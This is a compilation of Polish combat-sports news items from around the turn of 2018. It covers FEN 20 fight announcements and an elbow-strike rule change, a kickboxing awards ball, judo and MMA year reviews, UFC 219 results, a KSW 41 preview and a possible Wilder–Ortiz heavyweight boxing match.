Ważna zmiana na FEN 20!

Od gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się w warszawskiej hali Torwar, podczas pojedynków dozwolone będą uderzenia łokciami.

Zmiana będzie miała na celu jeszcze bardziej podnieść widowiskowość i atrakcyjność pojedynków dla kibiców. Łokcie w parterze i klinczu spowodują, że zawodnik w defensywie będzie musiał być bardziej aktywny i mniej będzie "klejenia się" do oponenta. Walka w stójce natomiast będzie jeszcze bardziej dynamiczna, a zawodnicy będą mieli do wykorzystania nową, bardzo niebezpieczną broń.

– W wielu najlepszych na świecie organizacjach ciosy łokciami są dozwolone i też postanowiliśmy iść tą drogą. Myślałem już o tym szybciej, ale ze zmianami poczekałem do jubileuszowej gali. FEN 20 będzie dzięki temu jeszcze bardziej emocjonująca i jeszcze bardziej niebezpieczna – to dobrze – powiedział Paweł Jóźwiak, prezes FEN.

Sprzedaż biletów na galę FEN 20 "Next Level" stronie www.fen-mma.com/bilet/

Bartosz Leśko wystąpi na FEN 20!

Bartosz Leśko (6-0-1) wystąpi podczas Fight Exclusive Night 20 "Next Level". Znamy zatem kolejnego bohatera jubileuszowej gali, która 10 marca odbędzie się w warszawsiej hali Torwar.

Leśko ze znakomitej strony pokazał się we Wrocławiu, gdzie po bardzo dobrym pojedynku pokonał Pawła Brandysa. Wcześniej w swoim debiucie w FEN, w maju podczas gdyńskiej gali, pokonał Aleksandra Rychlika. Leśko poddał swojego rywala w drugiej rundzie, czym skradł serca trójmiejskiej publiczności. Zawodnik trenuje na co dzień w słynnym gdyńskim klubie „Mad Dogs” i „Brzostek TOP Team”. Jego pięć zwycięskich pojedynków odniesionych przed czasem są gwarancją niesamowitego widowiska.

– Mam już przeciwnika dla Bartosza Leśko i na pewno wszyscy będą zadowoleni z tego zestawienia. To może nie potrwać pełnego dystansu. Młodość kontra doświadczenie – tyle mogę zdradzić na ten moment – powiedział Paweł Jóźwiak, prezes FEN.

Sprzedaż biletów na galę FEN 20 „Next Level” stronie www.fen-mma.com/bilet/

Krzysztof Kułak na FEN 20!

Krzysztof Kułak (29-15, 7 KO, 15 SUB) został nowym zawodnikiem federacji Fight Exclusive Night. 36-latek zadebiutuje pod szyldem federacji już podczas gali FEN 20 "Next Level", która odbędzie się 10 marca w warszawskiej hali Torwar.

""

– Wrzuciłem kilka tygodni temu na Facebook'a zdjęcie z Krzyśkiem, bo rozmawialiśmy na temat współpracy od dłuższego czasu. On chciał, by chcieliśmy, więc miło mi poinformować, że tak znakomity zawodnik będzie reprezentował naszą federację. Spójrzmy na jego rekord – ma na swoim koncie 29 zwycięstw, z czego aż 15 poddań. To robi wrażenie. Wystąpi w Warszawie, szykujemy mu naprawdę mocnego rywala. Mam w głowie już nazwisko, ale – jak wiadomo – najpierw muszę wszystko dogadać. Jestem szczęśliwy, że Krzysiek będzie reprezentował naszą federację – powiedział prezes FEN, Paweł Jóźwiak.

Oficjalnie: Trybson wystąpi na FEN 20

Spekulowano, spekulowano, a teraz możemy już ogłosić ten komunikat oficjalnie: Paweł "Trybson" Trybała (3-3, 3 KO) wystąpi podczas gali FEN 20 "Next Level". Będzie to jego debiut pod szyldem federacji.

"Trybson" kontrakt z FEN podpisał we wrześniu, ale nie udało mu się zadebiutować podczas 19. edycji, która odbyła się we Wrocławiu. Wtedy zawodnik miał problemy zdrowotne, które uniemożliwiły mu wyjście do klatki.

– Nie mogę już się doczekać 10 marca. Aż chce się trenować z myślą, że przyjdzie mi pokazać się przed tak liczną publicznością podczas tak znakomitej gali – powiedział "Trybson".

Na ten moment nie wiadomo, z kim Trybała zmierzy się w klatce 10 marca. Nazwisko jego rywala ogłosimy w ciągu najbliższych tygodni.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Paczuski w walce wieczoru na FEN 20!

Znamy nazwisko kolejnego zawodnika, który wystąpi podczas gali Fight Exclusive Night 20 "Next Level". Na Torwarze kibice będą mieli przyjemność podziwiać w akcji Radosława Paczuskiego (18-2-0). Będzie to jeden z bohaterów walki wieczoru, której stawką będzie pas mistrzowski FEN w K-1 w kategorii do 85 kilogramów.

Ostatnim razem w klatce FEN Paczuskiego można było oglądać podczas 17. edycji, która w maju odbyła się w Gdyni. Wtedy to 24-latek pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena (20-6-2). Później wystąpił jeszcze raz, ale już poza FEN i tam pokonał przed jednogłośną decyzję sędziów pochodzącego z Niemiec Floriana Krogera.

Radosław Paczuski to jeden z najbardziej utalentowanych i ambitnych zawodników kickboxingu i muay thai w Polsce. Reprezentant warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku 2016 roku odniósł największy jak dotychczas swój sukces na arenie międzynarodowej, sięgając po pas mistrza K-1 Global w kategorii -85 kg – w obu turniejowych walkach znokautował swoich przeciwników kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znakomitymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek.

Federacja FEN w najbliższych tygodniach poinformuje, kto będzie rywalem trenującego na co dzień w Uniq Fight Club w Warszawie zawodnika.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Oficjalnie: Arkadiusz Wrzosek wystąpi na FEN 20!

Znamy nazwisko kolejnego zawodnika, który wystąpi podczas gali Fight Exclusive Night 20 "Next Level". 10 marca na Torwarze zobaczymy ulubieńca warszawskiej publiczności, Arkadiusza Wrzoska (8-4). Obecny mistrz federacji w kategorii ciężkiej w formule K-1 po raz pierwszy będzie bronił pasa czempiona, który wywalczył podczas gali FEN 19 w październiku we Wrocławiu.

25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. Potem błyszczał podczas 19. edycji, gdy pokonał przez nokaut Nikolaja Falina i został pierwszym mistrzem w K-1 w kategorii ciężkiej. W Warszawie będzie bronił tego trofeum.

Nazwisko przeciwnika Arkadiusza Wrzoska na FEN 20 poznamy w ciągu najbliższych tygodni.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Wielki rewanż na FEN 20!

Mamy to! Wielki rewanż pomiędzy Arkadiuszem Wrzoskiem (8-4) a Arturem Bizewskim (7-1) odbędzie się podczas gali FEN 20 "Next Level". Będzie to powtórne starcie pomiędzy tymi zawodnikami, gdyż również w Torwarze, w marcu 2017 roku, podczas gali FEN 16 panowie spotkali się po raz pierwszy. Wtedy po znakomitym boju lepszy okazał się aktualny mistrz FEN w kategorii ciężkiej w formule K-1, Wrzosek. 

25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. Potem błyszczał podczas 19. edycji, gdy pokonał przez nokaut Nikolaja Falina i został pierwszym mistrzem w K-1 w kategorii ciężkiej. W Warszawie będzie bronił tego trofeum.

Artur Bizewski ma na koncie osiem zawodowych walk K-1, z których cztery ostatnie stoczył dla federacji FEN. Po zwycięstwie nad Szrederem dwukrotny zdobywca Pucharu Świata i brązowy medalista mistrzostw Europy zmierzył się na gali FEN 16 z aktualnym mistrzem federacji w formule K-1 Arkadiuszem Wrzoskiem. W stołecznym Torwarze „Bizon” przegrał, ale wspólnie z rywalem zafundowali kibicom emocjonujący pojedynek K-1 na europejskim poziomie, toczony w niesamowitym tempie i obfitujący w znakomite akcje z obu stron.

Później Bizewski dwukrotnie zwyciężył – ponownie ze Szrederem i podczas wakacyjnej edycji "Summer Edition" w Koszalinie z Mateuszem Duczmalem.

Karta walk FEN 20:

  • TBA VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS TBA
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Zagłosuj na Kickboxing !!!

Polski Związek Kickboxingu i Światowa Organizacja WAKO zwraca się do wszystkich sympatyków kickboxingu, zawodników i trenerów z prośbą o pomoc w rozpropagowaniu głosownia na Sportowca Roku The World Games reprezentującego naszą dyscyplinę sportową – kickboxing.

Każda osoba, która chce wesprzeć naszą idee proszona jest o zamieszczenie linku na swoich klubowych stronach internetowych oraz na Facebooku zachęcając tym samym wszystkich do oddania głosów na reprezentantkę kickboxingu Sarela de Jonga z Holandii !!!

Zagłosujmy na naszego kandydata i pokażmy siłę Kickboxingu! 

Link do głosowania: https://www.theworldgames.org/awards/Athlete-of-the-Year-2017-46

Głos na Sportowca Roku można oddać również na stronie IWGA:

https://www.facebook.com/iwga.theworldgames/videos/1699903870079059/

https://twitter.com/TheWorldGames/status/947700061085020160

 

Bal Mistrzów Kickboxingu – Węgrów 13.01.2018

Szanowni Państwo,

Prezes Polskiego Związku Kickboxingu w imieniu swoim oraz całego zarządu PZKB zaprasza na Bal Mistrzów Kickboxingu oraz uroczystość wręczenia nagród i wyróżnień – Heros 2017 dla zawodników, trenerów, działaczy i partnerów PZKB za 2017 rok.

W programie imprezy przewidujemy udział w ceremonii wręczenia nagród PZKB za rok 2017 oraz wspaniałą zabawę noworoczną, wyżywienie i nocleg z 13/14 stycznia 2018. Rozpoczęcie o godz.18.00 – Hotel Everest Węgrów, ul. Żeromskiego 52 – Koszt imprezy: 190 PLN/osoby (liczba miejsc ograniczona, decyduje kolejność zgłoszeń).

Prosimy o przesyłanie zgłoszeń do dnia 4 stycznia 2018 na adres e-mail: biuro@pzkickboxing.pl z dopiskiem w tytule:

"Bal Mistrzów Kickboxingu i wskazaniem imienia i nazwiska uczestnika/-ów".

Serdecznie zapraszamy i do zobaczenia.

Prezes Polskiego Związku Kickboxingu Piotr Siegoczyński

Wyzwania na kolejny rok

Mistrzostwa świata w Baku i mistrzostwa Europy w Tel Awiwie to najważniejsze imprezy w judo w 2018 roku. Z kolei pod koniec maja wystartują kwalifikacje olimpijskie. Zapowiada się ciekawy rok w judo.

W 2017 roku reprezentanci Polski z każdej dużej imprezy przywieźli minimum medal. Powinni iść dalej tą drogą i walczyć o cenne punkty, które przybliżą ich do startu w Tokio w 2020 roku.

Brąz z Budapesztu

Bez wątpienia największym indywidualnym osiągnięciem 2017 roku w polskim judo jest brązowy medal wywalczony przez Agatę Ozdobę-Błach (63kg) w mistrzostwach świata w Budapeszcie. Polka stoczyła cztery zacięte walki, w których okazała się lepsza od rywalek. Dwie z nich wygrała przed czasem – z Mią Hermansson i Edwige Gwend. Otwarcie bram do starcia o złoto było o krok, jednak na drodze judoczki AZS AWF Wrocław stanęła Clarisse Agbegnenou. Wicemistrzyni olimpijska z Rio triumfowała po dogrywce. Ozdoba musiała się skoncentrować i skupić na starciu o brąz. Zadanie wykonała fenomenalnie! Znakomicie wytrzymała trudy rywalizacji z Martyną Trajdos i po dogrywce wygrała przez waza-ari.

W kwietniu minionego roku do Warszawy zjechali się czołowi judocy Europy, aby walczyć o prymat na Starym Kontynencie. Indywidualnie o krok od medalu byli Katarzyna Kłys (70kg) i Maciej Sarnacki (+100kg). Oboje zajęli piąte miejsca. W Warszawie biało-czerwoni zdobyli jeden medal. Srebro na swoim koncie zapisała reprezentacja kobiet. W pierwszej rundzie biało-czerwone miały wolny los i rywalizację rozpoczęły od półfinału, w którym uporały się z Niemkami 3:2. O zwycięstwie naszej reprezentacji przesądziły: Karolina Pieńkowska (52kg), Anna Borowska (57kg) oraz Kłys. W zmaganiach o złoto Polki przegrały z Francuzkami – 0:5.

W 2017 roku w Gdyni odbyły się zawody Pucharu Europy Juniorów. Polacy wywalczyli łącznie dziewięć medali. Z kolei Bielsko-Biała gościła zawodników rywalizujących w Pucharze Europy kadetów. Biało-czerwoni zakończyli zmagania z trzema brązowymi medalami.

Co przed nami?

Najbliższe dwanaście miesięcy przyniesie wiele ciekawych wydarzeń. Imprezą największego kalibru będą mistrzostwa świata w Baku, które odbędą się w dniach 20-27 września. Rywalizację o panowanie w Europie zaplanowano w Tel Awiwie w terminie 26-28 kwietnia.

Judocy powoli zaczynają myśleć o Igrzyskach Olimpijskich w Tokio. Majowe Grand Prix w Hohhot będzie pierwszą okazją do wywalczenia pierwszych punktów potrzebnych do uzyskania kwalifikacji. Polska również będzie areną zmagań judoków. 3-4 marca w Warszawie rozegrane zostaną zawody European Open kobiet. Po raz kolejny w Bielsku-Białej rywalizować będą kadeci (19-20 maja) w ramach Puchar Europy, zaś w Gdyni pojawią się juniorzy (7-8 lipca).

Ciekawym doświadczeniem będą mistrzostwa Europy drużyn mieszanych. 18 lipca judocy zaprezentują się w Jekaterynburgu.

Fot. IJF/Facebook

KM

Oleksiejczuk zaczął od zwycięstwa

Udany debiut Michała Oleksiejczuka w UFC. Na gali w T-Mobile Arena w Las Vegas Polak na przestrzeni trzech rund pokonał Khalila Rountree. W walce wieczoru UFC 219 Cris Justino lepsza od Holly Holm.

Na kończącą rok 2017 galę w Las Vegas wszyscy czekali ze względu na rywalizację na szczycie w wadze piórkowej kobiet. Nie zabrakło polskiego akcentu w postaci debiutu młodego i groźnego Michała Oleksiejczuka.

Przyszłość przed nim

Pochodzący z Łęcznej zawodnik ma dopiero 22 lata. Trafił do UFC po dziewięciu zwycięstwach z rzędu, w tym ośmiu przed czasem! Dobra postawa pozwoliła mu dostać się do innego wymiaru, w którym trzeba być przygotowanym na wyniszczającą walkę. Michał Oleksiejczuk uniósł ciężar rywalizacji w UFC. W debiucie trafił na Khalila Rountree, który w zeszłym roku miał kryzys w amerykańskiej organizacji. 27-latek poniósł dwie porażki, ale kolejne dwa pojedynki wygrał przez nokaut i jego akcje wzrosły. Polak miał być kolejną ofiarą Amerykanina, jednak Rountree został zaskoczony przez fightera z Łęcznej.

Od początku 27-latek odważnie ruszył do przodu. Trafiał Polaka, na którego twarzy pojawiła się krew. W końcu Oleksiejczuk zdobył sprowadzenie, ale niewiele udało mu się zrobić w parterze. Polak przetrwał napór rywala, zaczął dochodzić do głosu, a Rountree tracił siły. W drugiej rundzie Oleksiejczuk dał prawdziwy popis. Amerykanin przyjmował kolejne ciosy, Polak wyprowadzał podbródkowe, atakował kolanem na głowę. Z czasem faworyzowany Rountree poczuł, że zwycięstwo jest coraz dalej. Amerykanin starał się skutecznie atakować, ale Oleksiejzuk był na posterunku. Polak sprowadził walkę do parteru i do końca dyktował warunki.

Sędziowie nie mieli żadnych wątpliwości. Oleksiejczuk wygrał jednogłośną decyzją – wszyscy punktowali 30:27. 22-letni Polak zapisał na swoim koncie trzynaste zwycięstwo w karierze.

Wygrała, ale nie przed czasem

Myśl o rywalizacji Justino i Holm elektryzowała. „Cyborg” to gwiazda kobiecego MMA, która niszczy wszystkie przeszkody na swojej drodze. Również Holm to wyjątkowa postać. Amerykanka zapisała się w historii jako ta, która zatrzymała Rondę Rousey i odebrała jej pas w wadze koguciej. Szybko go jednak straciła, a później walczyła o tytuł w kategorii piórkowej. Holm musiała uznać wyższość Germaine de Randamie.

Los ponownie dał szansę 36-letniej Amerykance, która po pokonaniu Rousey zaliczyła aż trzy porażki i tylko jedno zwycięstwo. Ale poprzeczka była zawieszona wysoko. Cyborg idzie jak burza, zarówno w organizacji Invicta, a obecnie w UFC. Ostatnie dwanaście walk 32-letnia Brazylijka wygrała przed czasem! 

Starcie o pas z animuszem zaczęła Holm. Wysokie kopnięcie i Justino znalazała się na ziemi. Amerykanka szukała swoich okazji, trafiała, ale Brazylijka nie pozostawała bierna. Z czasem Holm coraz częściej klinczowała. W czwartej rundzie widać było, że była mistrzyni wagi koguciej przyjęła wiele ciosów. Justino zachowała więcej sił, ale cały czas Holm twardo trzymała się na nogach. Amerykanka wytrzymała pięć rund, jednak kolejne zwycięstwo na swoim koncie zapisała „Cyborg”.

Fot. Michał Oleksiejczuk Facebook

KM

Gorący rok w MMA

W 2017 roku ponownie do Polski zawitała organizacja UFC. Ostatnie dwanaście miesięcy obfitowało w wiele fantastycznych walk w MMA. Co zapadnie nam najbardziej w pamięci z 2017 roku?

Pierwsza gala UFC w Polsce odbyła się 11 kwietnia 2015 roku w Krakowie. W walce wieczoru Mirko Filipović w trzeciej rundzie rozprawił się z Gabrielem Gonzagą. Minęło ponad 2,5 roku i najlepsza organizacja MMA na świecie ponownie zawitała do Polski. Gala UFC Fight Night 118 odbyła się w październiku w Ergo Arenie w Gdańsku. Kibice mogli podziwiać sześcioro Polaków, z których czworo wygrało swoje pojedynki. Karolina Kowalkiewicz pokonała Jodie Esquibel, Oskar Piechota wygrał z Jonathanem Wilsonem, a Jan Błachowicz i Damian Stasiak triumfowali przed czasem – odpowiednio z Devinem Clarkiem oraz Brianem Kelleherem. W walce wieczoru w pierwszej rundzie Darren Till pokonał w pierwszej rundzie Donalda Cerrone.

Rok 2017 był wyjątkowy dla Konfrontacji Sztuk Walki. Organizacja Martina Lewandowskiego i Macieja Kawulskiego dokonała swego rodzaju przełomu. Blisko 58 tysięcy widzów śledziło z bliska galę KSW 39 Colosseum, która odbyła się na stadionie PGE Narodowy w Warszawie. W stolicy do rywalizacji po sześciu latach powrócił Łukasz Jurkowski i pokonał Rameau Thierry Sokoudjou. Udany debiut zaliczył również brązowy medalista Igrzysk Olimpijskich w Londynie w zapasach Damian Janikowski, który w pierwszej rundzie rozbił Julio Gallegosa. W walce wieczoru doszło do starcia czołowych zawodników KSW. Mamed Khalidov okazał się lepszy od Borysa Mańkowskiego. Z kolei w październiku KSW wybrało się w podróż do Dublina. Głównym wydarzeniem gali numer 40 była walka Mariusza Pudzianowskiego z Jayem Silvą. 40-letni Polak zapisał na swoim koncie dwunaste zwycięstwo w karierze. Ponadto w 2017 roku KSW zorganizowało gale w Sękocinie Nowym i Katowicach.

Gwiazda polskiego MMA Joanna Jędrzejczyk stoczyła w 2017 roku dwie walki. W pierwszym starciu zawodniczka pochodząca z Olsztyna pokonała Jessicę Andrade. Polka była gwiazdą UFC i posiadaczką pasa w wadze słomkowej. Do czasu. W listopadzie Jędrzejczyk stanęła do szóstej obrony mistrzowskiego pasa, jednak zanotowała pierwszą w karierze porażkę. W premierowej odsłonie starcia na gali UFC 217 w Nowym Jorku Polka przegrała przez nokaut z Rose Namajunas.

Ważnym wydarzeniem kończącego się roku był powrót do UFC legendy MMA Georgesa St. Pierre'a. Cztery lata temu Kanadyjczyk pokonał Johny'ego Hendricksa i zapisał na swoim koncie 25 zwycięstwo. Wrócił w wielkim stylu. Na gali UFC 217 w Nowym Jorku St. Pierre pokonał Michaela Bispinga i sięgnął po pas mistrzowski w wadze średniej. Warto wspomnieć, że wcześniej 36-latek rywalizował w kategorii półśredniej.

Pięć gal w ciągu dwunastu miesięcy – to dorobek organizacji Fight Exclusive Night, która promuje MMA i K-1. Tegoroczna podróż zaczęła się w Lubinie a zakończyła we Wrocławiu. Na gali FEN 19 znakomity debiut w zawodowym MMA zaliczyła Magdalena Rak, która pokonała Raffaeli Milner. We Wrocławiu fenomenalnie zaprezentował się Gabriel Al-Sulwi. W drugiej rundzie "Arab" pokonał Bartłomieja Brzezińskiego. Z narożnika "Rubego" poleciał ręcznik.

Drugie urodziny Ladies Fight Night i dwie gale! To było coś niezwykłego. Niesamowite widowiska, wspaniałe walki i najlepsze zawodniczki rywalizujące w MMA i K-1. Zwycięstwa odniosły m.in. Sylwia Juśkiewicz, Natalia Leciejewska, Marta Waliczek, Katarzyna Lubońska i Katarzyna Posiadała.

KM

Podsumowanie 2017 roku w polskim kickboxingu

Po świętach, a przed sylwestrem towarzyszy nam refleksja na temat kończącego się roku. Analizujemy, wyciągamy wnioski i chcemy, aby kolejne dwanaście miesięcy przyniosło wiele radosnych chwil. Kończący się 2017 rok był niezwykle owocny dla polskiego kickboxingu.

Na szczycie

W lipcu we Wrocławiu było niezwykle gorąco. A to za sprawą walki o medale w dziesiątej edycji The World Games – Igrzysk Sportów Nieolimpijskich. W gronie dyscyplin, które mogli podziwiać kibice znalazł się kickboxing, który był tzw. sportem na zaproszenie. Polacy pokazali moc. Do walki o medale stanęło 11 biało-czerwonych, a sześcioro wywalczyło medale. Po złote krążki sięgnęli Marta Waliczek (60kg) i Dawid Kasperski (86kg). O krok od triumfu byli Michał Ronkiewicz (75kg) oraz Mateusz Pluta (91kg), którzy w walkach finałowych przegrali odpowiednio z Zakarią Laaoutanim i Igorem Darmeszkinem. Brązowe krążki zawisły na szyjach Małgorzaty Dymus (56kg) i Wojciecha Kazieczko (67kg). Na najlepszej drodze do sukcesu znajdowali się Arkadiusz Kaszuba (81kg) oraz Michał Turyński (+91kg), którzy wygrali pojedynki ćwierćfinałowe, ale na przeszkodzie stanęły im urazy i musieli wycofać się z turnieju. Co najważniejsze, Polacy wygrali klasyfikację medalową! Ogromny sukces, który był pokazem siły naszego kickboxingu.

Kolejnym znaczącym wydarzeniem 2017 roku były mistrzostwa świata w Budapeszcie. Znakomity występ biało-czerwonych, którzy do kraju wrócili z 31 medalami. Na ten dorobek złożyło się dwanaście złotych, cztery srebrne i piętnaście brązowych krążków. Najwięcej, bo dziesięć medali, zdobyła kadra w K-1, a co ciekawe – zawodnicy byli najmłodsi spośród wszystkich startujących. Tytuły sprzed dwóch lat obronili: Paulina Jarzmik (60kg) w kick light i light contact, Iwona Nieroda (56kg) w low kick i Piotr Wypchał (89kg) w kick light.

Nasza przyszłość w rękach młodych, a więc trzeba patrzeć na postępy adeptów. We wrześniu śledziliśmy zmagania juniorów i kadetów w mistrzostwach Europy, które odbyły się w Skopje. Biało-czerwoni uplasowali się w gronie najlepszych za sprawę 66 medali, w tym dziewięciu złotych. Najwięcej krążków na swoim koncie zapisali zawodnicy rywalizujący w low kick – czternaście.

Decyzję o przejściu na sportową emeryturę podjęła utytułowana Dorota Godzina. Wielokrotna medalistka mistrzostw Polski podczas gali DSF Kickboxing Challenge 11 pokonała Sylwię Kaliś. Na swoim koncie Dorota Godzina zapisała m.in. trzykrotnie amatorskie mistrzostwo świata, dwukrotne mistrzostwo Europy, a na płaszczyźnie zawodowej – mistrzostwo świata WAKO Pro oraz pas DSF do 56kg.

Siegoczyński na czele związku

W kwietniu odbyły się wybory prezesa Polskiego Związku Kickboxingu. Z kandydowania zrezygnował Andrzej Palacz, który przez wiele lat sprawował tę funkcję. Delegaci na nowego prezesa wybrali legendę polskiego kickboxingu Piotra Siegoczyńskiego. Mistrz świata z 1985 roku z Budapesztu pokonał Gerarda Zdziarskiego i Krzysztofa Bulandę.

26 września 2017 roku zapisał się złotymi literami w historii polskiego kickboxingu. Związek został włączony w poczet członków zwyczajnych Polskiego Komitetu Olimpijskiego.

KM

 

Przedświąteczna bitwa

Nie chodzi o przedświąteczny szał zakupowy i walkę z czasem, aby zdążyć ze wszystkim przed pierwszą gwiazdką. 23 grudnia fani MMA będą mieli szansę na chwilę oderwać się od sprzątania i gotowania. A to za sprawą gali KSW 41, która odbędzie się w Katowicach.

Na szali pojawią się dwa pasy mistrzowskie: kategorii piórkowej i półśredniej. W Katowicach w KSW zadebiutuje Tomasz Oświeciński.

Starcie gigantów

Wszyscy oczekują widowiska. Wielką uwagę przykłada się do starcia Popka Monstera z Tomaszem Oświecińskim. "Strachu" stoczy pierwszą walkę w mieszanych sztukach walki. Popek zaprezentuje się na KSW po raz trzeci. Wygrał z Robertem Burneiką, przegrał z Mariuszem Pudzianowskim. Obie walki kończyły się w pierwszych rundach. Popek i Oświeciński mocno napompowali balon i sami nie szczędzili sobie gorzkich fraz. Pojedynek zweryfikuje, który z nich nie rzucał słów na wiatr.

Wyzwanie przed Damianem Janikowskim, który w maju na Stadionie Narodowym efektownie zadebiutował w KSW. Teraz brązowy medalista olimpijski w zapasach z Londynu przejdzie prawdziwy test. Przyjdzie mu się zmierzyć z najbardziej doświadczonym polskim zawodnikiem MMA – Antonim Chmielewskim. Doświadczenie jest atutem 35-latka, jednak Janikowski chce w KSW zaistnieć i wejść na sportowy szczyt. Czy Chmielewski zatrzyma napór silnego niczym tur zawodnika? 35-latek przegrał dwie ostatnie walki i chciałby złapać oddech. Odkąd wrócił do KSW, marzec 2016 roku, wygrał jeden z trzech pojedynków.

Po raz czwarty pasa w wadze półśredniej będzie bronił Borys Mańkowski. "Diabeł Tasmański" wraca do rywalizacji po przegranej walce z Mamedem Khalidowem w superfight na gali KSW 39 Colosseum. 28-latek pokazał się w Warszawie z dobrej strony i toczył wyrównany bój z legendą organizacji, ale doświadczenie urodzonego w Groznym zawodnika wzięło górę. W Katowicach Mańkowski miał stanąć w szranki z Dricusem Du Plessisem. Zawodnik znakomicie prezentujący się na własnym terenie, mistrz EFC, musiał zrezygnować z udziału w KSW 41 z powodu kontuzji. W jego miejsce wskoczył groźny Roberto Soldić, który nazywany jest "nowym CroCopem".  Bośniak ma passę sześciu zwycięstw z rzędu. 11 z 12 wygranych walk zakończył przed czasem. Zapowiada się gorące starcie.

Kleber Koike Erbst może zrewanżować się Arturowi Sowińskiemu za porażkę sprze dwóch lat i zachować pas mistrzowski kategorii piórkowej. 28-latek będzie bronił tytułu po raz pierwszy. Erbst wywalczył pas w maju w Warszawie, gdzie pokonał Marcina Wrzoska. Ten z kolei odebrał wcześniej tytuł Sowińskiemu. Co ciekawsze, Wrzosek również wystąpi w Katowicach. Jego rywalem będzie Roman Szymański.

Karta walk gali KSW 41:

Walka wieczoru o pas kategorii półśredniej: -77 kg: Borys Mańkowski – Roberto Soldic

-120 kg: Popek Monster  – Tomasz Oświeciński

O pas w kategorii piórkowej: -66 kg: Kleber Koike Erbst – Artur Sowiński

-66 kg: Marcin Wrzosek – Roman Szymański

-120 kg: Fernando Rodrigues Jr  – Michał Andryszak

-84 kg: Damian Janikowski  – Antoni Chmielewski

-70 kg: Kamil Szymuszowski – Grzegorz Szulakowski

-66 kg: Łukasz Rajewski  – Salahdine Parnasse

-70 kg: Maciej Kazieczko  – Gracjan Szadziński

Fot. Borys Mańkowski Facebook

KM

Co się odwlecze…

Można zacierać ręce. W wadze ciężkiej w boksie od pewnego czasu jest niezwykle ciekawie. Niewykluczone, że na początku marca dojdzie do oczekiwanego pojedynku pomiędzy Deontayem Wilderem a Luisem Ortizem.

Gdy do ringu wchodzi dwóch niepokonanych bokserów musi być ciekawie. Wszyscy wierzą, że tak będzie w tym przypadku.

Był falstart

Wszystko było już dopięte na ostatni guzik. Wilder i Ortiz mieli zmierzyć się 4 listopada w Nowym Jorku, ale tak się nie stało. Bywa tak, że panna młoda ucieknie sprzed ołtarza. Czasami na ostatniej prostej ktoś się potknie i nici z marzeń. Czasami na drodze zatrzyma nas policyjna kontrola i trzeba liczyć się z mandatem. W tym przypadku chodzi o trzecią sytuację. Testy antydopingowe dały wynik pozytywny u Ortiza. Co ciekawe, kilka dni wcześniej Wilder apelował do rywala, aby ten przestrzegał przepisów. Z czasem Kubańczyk został oczyszczony przez WBC z okarżeń stosowanie dopingu. Ale walka przepadła…

Jednak "nie ma tego złego, co by…" i tak dalej. Wieść niesie, że prędzej czy później mistrz świata WBC zmierzy się z niepokonanym Ortizem. Wilder był obecny na ostatniej walce Kubańczyka. 38-latek dał pokazał siły i już w drugiej rundzie walki w Hialeah położył na deski Daniela Martza. Na Wilderze triumf Ortiza nie zrobił większego wrażenia i otwarcie mówił, że pokona Kubańczyka, choć użył zdecydowanie mocniejszych słów. Z kolei popularny "King Kong" podkreślił, że w oczach mistrza świata WBC wagi ciężkiej dostrzegł strach. Zaczęła się psychologiczna wojna, więc czas przejść na kolejny poziom wtajemniczenia.

Porozumienie coraz bliżej

"Do zakochania jeden krok, jeden jedyny krok nic więcej" – w tym przypadku raczej nie o to chodzi, ale w trawie piszczy, że niewiele brakuje do porozumienia między obozami obu pięściarzy. Według ostatnich doniesień, pojedynek miałby odbyć się 3 marca w Barclays Center na Brooklynie.

Luis Ortiz czeka na największy sukces w karierze. Dotychczas był tymczasowym mistrzem WBA. 38-latek chce pokazać, że jego dopingowa przeszłość to już tylko wspomnienie i prezentuje najwyższy poziom sportowy. Kubańczyk wygrał wszystkie 28 walk i z pewnością będzie najtrudniejszą przeszkodą na drodze Wildera, który tytuł WBC wywalczył blisko trzy lata temu i dotychczas sześciokrotnie skutecznie go bronił.

Tym razem Amerykanin jest również pewny swego. – Zapytałem go, kiedy chce walczyć i powiedział, że może teraz. Będę zabiegał o to starcie. Myślę, że pokonam go w czterech rundach – powiedział Deontay Wilder.

Fot. Deontay Wilder Facebook

KM

 

Nadal tylko jeden medal

